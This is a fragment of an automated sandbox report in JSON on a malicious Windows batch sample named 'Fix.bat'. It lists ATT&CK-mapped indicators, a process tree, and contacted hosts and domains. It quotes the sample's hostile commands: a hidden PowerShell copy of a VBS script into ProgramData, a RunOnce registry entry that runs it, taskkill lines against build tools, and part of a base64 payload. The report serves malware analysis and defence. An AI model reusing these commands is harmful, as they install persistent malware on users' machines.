\"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetFileAttributesW\" (Indicator: \"GetFileAttributes\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve processes (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-Process\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-291","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-Random\"; File: \"AMSI\")\n Found string \"if ((Get-Location).Path -ne 'C:\\ProgramData') { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination 'C:\\ProgramData\\StartupName.vbs' -Force }\" (Indicator: \"Get-ChildItem\"; File: \"AMSI\")\n Found string \"-WindowStyle Hidden if ((Get-Location).Path -ne '%ALLUSERSPROFILE%\\) { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination '%ALLUSERSPROFILE%\\StartupName.vbs' -Force }\" (Indicator: \"Get-ChildItem\"; File: \"powershell.exe\")\n file/memory contains long string with (Indicator: \"Get-ChildItem\"; Source: \"00000000-00007560.00000000.153901.2E750000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Retrieves specified items using PowerShell","description":"Process \"powershell.exe\" with commandline \"-WindowStyle Hidden if ((Get-Location).Path -ne '%ALLUSERSPROFILE%\\\\) { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination '%ALLUSERSPROFILE%\\\\StartupName.vbs' -Force }\" (UID: 00000000-00007560)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":1,"id":"target-477","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Tries to enumerate objects using PowerShell","description":"Process \"powershell.exe\" with commandline \"-WindowStyle Hidden if ((Get-Location).Path -ne '%ALLUSERSPROFILE%\\\\) { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination '%ALLUSERSPROFILE%\\\\StartupName.vbs' -Force }\" (UID: 00000000-00007560)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":3,"id":"target-442","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001496-00000C2B-1371987805\")\n Found string \"OpenProcessTokenW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001496-00000C2B-1374679005\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001496-00000C2B-1374679471\")\n Found string \"OpenProcessW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001496-00000C2B-1374679509\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00001496)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00001612)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00004416)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007560)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$48","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeDebugPrivilegeZ\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00001496.00000000.152207.6D7E0000.00000004.mdmp\")\n Found reference to API \"SeDebugPrivilegeZ\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00001612.00000000.152853.99A10000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\STATE\\USERSETTINGS\\S-1-5-21-1271187874-1938232448-3812392235-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME3\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"630569AF3B16DC0100000000000000000000000002000000\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"powershell.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$49","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"Found string \"{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.OriginInfo }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")\n Found reference to API \"CreateMutexExW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00001612]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 1496)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 1612)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4416)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 7560)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"May check for the presence of a forensics/monitoring tool","description":"Found string \"\\Device\\HarddiskVolume3\\Windows\\System32\\taskkill.exe\" (Indicator: \"taskkill.exe\"; Source: \"00000000-00007140-00000BC0-1414769789\")\n Found string \"%WINDIR%\\system32\\taskkill.exe\" (Indicator: \"taskkill.exe\"; Source: \"00000000-00007140-00000BC0-1414772030\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":3,"id":"string-45","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to query local/system time as file time","description":"\"powershell.exe\" called \"FileTimeToSystemTime\" (UID: 00000000-00001496)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":3,"id":"api-223","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"LEKIIBGBDA\"; Value: \"wscript.exe \"%ALLUSERSPROFILE%\\StartupName.vbs\"\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 207.174.26.219 on port 443 is sent without HTTP header\n TCP traffic to 162.125.4.16 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00001496)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00001496)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00001612)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00001612)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Uses powershell to execute new process","description":"$4a","origin":"Monitored Target","mitre_attack_id":"T1543","relevance":5,"id":"target-249","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_oztrlywq.2cq.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_adkwe4mc.k1s.psm1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_bnwxky12.2at.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_hlxvtujq.odb.psm1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_bvyyk3xv.unz.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_guc1osrv.m3c.psm1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_xuscdmdd.qss.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_oaj2uv35.p1s.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Commandline contains long base64 encoded string","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1132","relevance":5,"id":"string-509","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops script files inside temp directory","description":"Dropped file: \"__PSScriptPolicyTest_bvyyk3xv.unz.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_bvyyk3xv.unz.ps1]- [targetUID: 00000000-00004416]\n Dropped file: \"__PSScriptPolicyTest_oztrlywq.2cq.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_oztrlywq.2cq.ps1]- [targetUID: 00000000-00001496]\n Dropped file: \"__PSScriptPolicyTest_bnwxky12.2at.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_bnwxky12.2at.ps1]- [targetUID: 00000000-00001612]\n Dropped file: \"__PSScriptPolicyTest_xuscdmdd.qss.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_xuscdmdd.qss.ps1]- [targetUID: 00000000-00007560]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-35","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Invokes a process with a long commandline","description":"$4c","origin":"Monitored Target","mitre_attack_id":"T1027","relevance":10,"id":"target-31","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -Command \"$ddsdgo = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AY\" - (UID: 00000000-00001496), \"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & t\" - (UID: 00000000-00001612), \"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -WindowStyle Hidden if ((Get-Location).Path -ne '%ALLUSERSPROFILE%\\) { (G\" - (UID: 00000000-00001612)\n \"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\system32\\cmd.exe\" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F\" - (UID: 00000000-00004416)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Script loads executable in memory (Antimalware Scan Interface)","description":"$4d","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1055.001","relevance":10,"id":"amsi-3","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Terminates other processes using tskill/taskkill","description":"Process \"taskkill.exe\" with commandline \"taskkill /IM RegAsm.exe /F\" (UID: 00000000-00006096)\n Process \"taskkill.exe\" with commandline \"taskkill /IM Vbc.exe /F\" (UID: 00000000-00004640)\n Process \"taskkill.exe\" with commandline \"taskkill /IM MsBuild.exe /F\" (UID: 00000000-00001104)","origin":"Monitored Target","mitre_attack_id":"T1489","relevance":9,"id":"target-9","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"powershell.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 2568)\n \"powershell.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 2568)\n \"powershell.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 4240)\n \"powershell.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 4240)\n \"powershell.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 4268)\n \"powershell.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 4268)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Opens a handle of credential dumping utility","description":"\"powershell.exe\" opens a process \"C:\\Windows\\System32\\lsass.exe\" (UID: 00000000-00001612)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-300","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$4e","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]}],"incidents":[{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"May check for the presence of a forensics/monitoring tool"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]}]},"activity":{"stats":{"process_count":10,"spawned_processes_count":10,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":36,"imported_dlls_count":121,"dropped_files_count":0,"extracted_files_count":9,"files_written_count":17,"files_deleted_count":0,"registry_keys_created_count":26,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":26,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":3,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["suspicious"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"68acc4b7974931ef11000319","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["USA"],"submit_name":"Fix.bat","analysis_start_time":"2025-08-25T20:16:56+00:00","indicators_count":{"informative":155,"suspicious":49,"malicious":6},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"207.174.26.219","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"address":"162.125.4.16","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]}],"dns_resolutions":[{"domain":"bbrlxwtkbgvpnpfykexu.supabase.co","country":"-","registrar_name":"CCI REG S.A.","registrar_name_servers":"christina.ns.cloudflare.com","registrar_creation_date":"2020-01-11T07:13:46+00:00","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"domain":"i.ibb.co","address":"207.174.26.219","ttl":2265,"country":"United States","registrar_name":"WILD WEST DOMAINS, INC.","registrar_organization":"WhoisGuard, Inc.","registrar_name_servers":"RITA.NS.CLOUDFLARE.COM","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"domain":"uca1223b327fae62a33d148ed736.previews.dropboxusercontent.com","address":"162.125.4.16","ttl":60,"country":"United States","registrar_name":"MarkMonitor, Inc.","registrar_organization":"Dropbox, Inc.","registrar_name_servers":"ns-1797.awsdns-32.co.uk","registrar_creation_date":"2012-01-13T15:35:09+00:00","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]}],"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}],"processes":[{"pid":3788,"ppid":0,"name":"cmd.exe","command_line":"/c \"\"C:\\Fix.bat\" \"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","uid":"00000000-00003788","icon":"$4f"},{"pid":1496,"ppid":3788,"name":"powershell.exe","command_line":"$50","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003788","uid":"00000000-00001496"},{"pid":1612,"ppid":1496,"name":"powershell.exe","command_line":"$51","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00001496","uid":"00000000-00001612"},{"pid":4416,"ppid":1612,"name":"powershell.exe","command_line":"Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00001612","uid":"00000000-00004416"},{"pid":7140,"ppid":4416,"name":"cmd.exe","command_line":"/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00004416","uid":"00000000-00007140"},{"pid":6096,"ppid":7140,"name":"taskkill.exe","command_line":"taskkill /IM RegAsm.exe /F","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00007140","uid":"00000000-00006096"},{"pid":4640,"ppid":7140,"name":"taskkill.exe","command_line":"taskkill /IM Vbc.exe /F","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00007140","uid":"00000000-00004640"},{"pid":1104,"ppid":7140,"name":"taskkill.exe","command_line":"taskkill /IM MsBuild.exe /F","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00007140","uid":"00000000-00001104"},{"pid":7560,"ppid":1612,"name":"powershell.exe","command_line":"-WindowStyle Hidden if ((Get-Location).Path -ne '%ALLUSERSPROFILE%\\) { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination '%ALLUSERSPROFILE%\\StartupName.vbs' -Force }","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00001612","uid":"00000000-00007560"},{"pid":4548,"ppid":0,"name":"wscript.exe","command_line":"\"%ALLUSERSPROFILE%\\StartupName.vbs\"","sha256":"7478b567c9ec9a1e1061f9c6db2993fcdc2ec4e8fb5ca6da80fa307b54116e69","normalized_path":"%WINDIR%\\System32\\wscript.exe","uid":"00000000-00004548","icon":"$52"}],"all_imported_dlls":["dhcpcsvc6.dll","fastprox.dll","WinTypes.dll","SHCore.dll","System.Configuration.Install.ni.dll","virtdisk.dll","ntdll.dll","sechost.dll","kernel.appcore.dll","rasadhlp.dll","msvcrt.dll","gpapi.dll","Microsoft.PowerShell.Commands.Management.ni.dll","srvcli.dll","rasapi32.dll","System.Management.Automation.ni.dll","System.Data.dll","Windows.StateRepositoryPS.dll","netutils.dll","KernelBase.dll","fltLib.dll","shlwapi.dll","mscorlib.ni.dll","wintrust.dll","propsys.dll","winhttp.dll","ncrypt.dll","cryptbase.dll","crypt32.dll","uxtheme.dll","AppResolver.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","wbemcomn.dll","OnDemandConnRouteHelper.dll","user32.dll","combase.dll","vcruntime140_clr0400.dll","psapi.dll","amsi.dll","msisip.dll","msvcp_win.dll","atl.dll","System.Management.ni.dll","advapi32.dll","System.ni.dll","userenv.dll","sspicli.dll","diasymreader.dll","schannel.dll","clr.dll","clbcatq.dll","wldp.dll","cfgmgr32.dll","IPHLPAPI.DLL","System.Windows.Forms.ni.dll","gdi32.dll","oleaut32.dll","mscoreei.dll","ncryptsslp.dll","System.Core.ni.dll","framedynos.dll","ws2_32.dll","vcruntime140_1_clr0400.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","System.Transactions.ni.dll","System.Transactions.dll","BCP47Langs.dll","prxyqry.dll","ole32.dll","bcrypt.dll","mswsock.dll","nsi.dll","dbghelp.dll","AppxSip.dll","winnsi.dll","icb20R7l.dll","clrjit